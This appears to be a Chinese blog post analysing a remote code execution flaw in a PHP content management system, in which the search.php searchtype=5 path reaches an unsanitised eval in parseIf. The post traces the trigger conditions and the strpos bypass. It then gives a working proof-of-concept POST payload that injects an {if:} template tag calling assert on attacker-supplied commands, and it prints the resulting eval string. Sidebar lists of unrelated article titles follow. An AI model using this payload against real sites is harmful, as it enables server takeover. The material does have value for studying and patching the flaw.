一、漏洞分析

漏洞触发点search.php 211-213行

跟进parseIf 函数 ./include/main.class.php

这里要注意 3118行的位置,可以看到未做任何处理的eval

二、触发条件

if(intval($searchtype)==5)   

if (strpos($content,'{if:')=== true)

{if:(.*?)}(.*?){end if} 

if (strpos($strThen,$labelRule2)===false)

if (strpos($strThen,$labelRule3)>=0){

三、构造POC

http://127.0.0.1/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

1.preg_match_all($labelRule,$content,$iar); 进行匹配,将匹配的内容保存到$iar

如果是$strIf=$iar[0];  则代表匹配整个的结果

$strIf=$iar[1][$m];   这里匹配整个内容的第一个子组  1)print_r($_POST[func]($_POST[cmd]));//

2.

...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){

$strIf=$iar[2][$m]; 不能含有elseif,才可以进入下一个判断语句

3.因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!

最终进入语句带代码

eval("if(1)print_r($_POST[func]($_POST[cmd]));//{$ifFlag=true;}else{$ifFlag=false;} ")

四、漏洞验证

最新文章

  1. JavaScript中reduce()方法
  2. Ubuntu命令--CURL用法
  3. 关于HTML5与移动开发
  4. 团队开发之《极速蜗牛》NABC分析
  5. JUnit 4 如何正确测试异常
  6. win7系统激活最简单方法
  7. 图片上传并显示(兼容ie),图片大小判断
  8. 嵌入式OS入门笔记-以RTX为案例:六.RTX的任务调度
  9. centos7安装并配置svn(转)
  10. 惊人go语言(image网站开发)
  11. 《JS权威指南学习总结--6.8对象的三个属性》
  12. JavaWeb 后端 <十四> 文件上传下载
  13. java反射机制(先马再看)
  14. Apache设置用户权限(2个域名。一个能访问全部文件,一个只能访问指定文件)
  15. 自定义Retrofit转化器Converter
  16. ionic3 添加多个自定义组件
  17. JavaScript中数组的应用
  18. node(基础三)_模块系统基础
  19. 编程语言的分类及其优缺点,Python标准输入与输出
  20. xdoj--1144 (合并模板)--有趣的优先队列(优先队列默认权值最大的数在前面)

热门文章

  1. jacob导入项目
  2. Wannafly Camp 2020 Day 6M 自闭 - 模拟
  3. Java中8进制数和16进制数的表示方法
  4. wso2 使用配置
  5. SQLServer2005:在执行时出现错误。错误消息为: 目录名无效
  6. 在GPU上训练数据
  7. 使用yaml格式进行接口测试报错
  8. New Skateboard
  9. 原来window 也可以使用pthreads
  10. MyEclipse设置不编译js部分